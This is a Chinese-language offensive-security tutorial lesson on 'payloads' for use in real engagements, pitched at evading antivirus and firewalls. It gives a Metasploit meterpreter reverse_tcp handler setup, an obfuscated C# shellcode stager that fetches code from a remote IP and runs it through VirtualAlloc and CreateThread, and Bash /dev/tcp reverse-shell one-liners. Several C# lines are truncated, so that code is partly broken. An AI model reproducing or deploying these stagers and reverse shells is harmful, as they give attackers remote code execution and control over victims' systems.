第十五课:基于第十课补充payload2

在实战中可能会遇到各种诉求 payload,并且可能遇到各种实际问题,如杀毒软件,防火墙拦截,特定端口通道,隧道等问题。这里我们根据第十课补充其中部分,其他内容后续补充。

这次主要补充了 C#,Bash

ps:在线代码高亮:http://tool.oschina.net/highlight

1、C#-payload

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.107
LHOST => 192.168.1.107

混淆:

using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.
namespace RkfCHtll { class LiNGeDokqnEH {
static byte[] idCWVw(string VVUUJUQytjlL, int eMcukOUqFuHbUv) {
IPEndPoint nlttgWAMdEQgAo = new IPEndPoint(IPAddress.Parse(VVUUJUQytjlL),
eMcukOUqFuHbUv);
Socket fzTiwdk = new Socket(AddressFamily.InterNetwork,
SocketType.Stream, ProtocolType.Tcp);
try { fzTiwdk.Connect(nlttgWAMdEQgAo);}
catch { return null;}
byte[] gJVVagJmu = new byte[4];
fzTiwdk.Receive(gJVVagJmu, 4, 0);
int GFxHorfhzft = BitConverter.ToInt32(gJVVagJmu, 0);
byte[] mwxyRsYNn = new byte[GFxHorfhzft + 5];
int yVcZAEmXaMszAc = 0;
while (yVcZAEmXaMszAc < GFxHorfhzft)
{ yVcZAEmXaMszAc += fzTiwdk.Receive(mwxyRsYNn,yVcZAEmXaMszAc + 5, (GFxHorfhzft - yVcZAEmXaMszAc) < 4096
byte[] XEvFDc = BitConverter.GetBytes((int)fzTiwdk.Handle);
Array.Copy(XEvFDc, 0, mwxyRsYNn, 1, 4); mwxyRsYNn[0] = 0xBF;
return mwxyRsYNn;}
static void hcvPkmyIZ(byte[] fPnfqu) {
if (fPnfqu != null) {
UInt32 hcoGPUltNcjK = VirtualAlloc(0,(UInt32)fPnfqu.Length, 0x1000, 0x40);
Marshal.Copy(fPnfqu, 0, (IntPtr)(hcoGPUltNcjK), fPnfqu.Length);
IntPtr xOxEPnqW = IntPtr.Zero;
UInt32 ooiiZLMzO = 0;
IntPtr wxPyud = IntPtr.Zero;
xOxEPnqW = CreateThread(0, 0, hcoGPUltNcjK, wxPyud, 0, ref ooiiZLMzO);
WaitForSingleObject(xOxEPnqW, 0xFFFFFFFF); }}
static void Main(){
byte[] dCwAid = null; dCwAid = idCWVw("xx.xx.xx.xx", xx);
hcvPkmyIZ(dCwAid); }
[DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 qWBbOS,UInt32 HoKzSHMU, UInt [DllImport("kernel32")]private static extern
IntPtr CreateThread(UInt32 tqUXybrozZ, UInt32 FMmVpwin, UInt32 H
[DllImport("kernel32")] private static extern UInt32
WaitForSingleObject(IntPtr CApwDwK, UInt32 uzGJUddCYTd);

2、Bash-payload

i >& /dev/tcp/xx.xx.xx.xx/xx 0>&1
exec 5<>/dev/tcp/xx.xx.xx.xx/xx
cat <&5 | while read line; do $line 2>&5 >&5;done
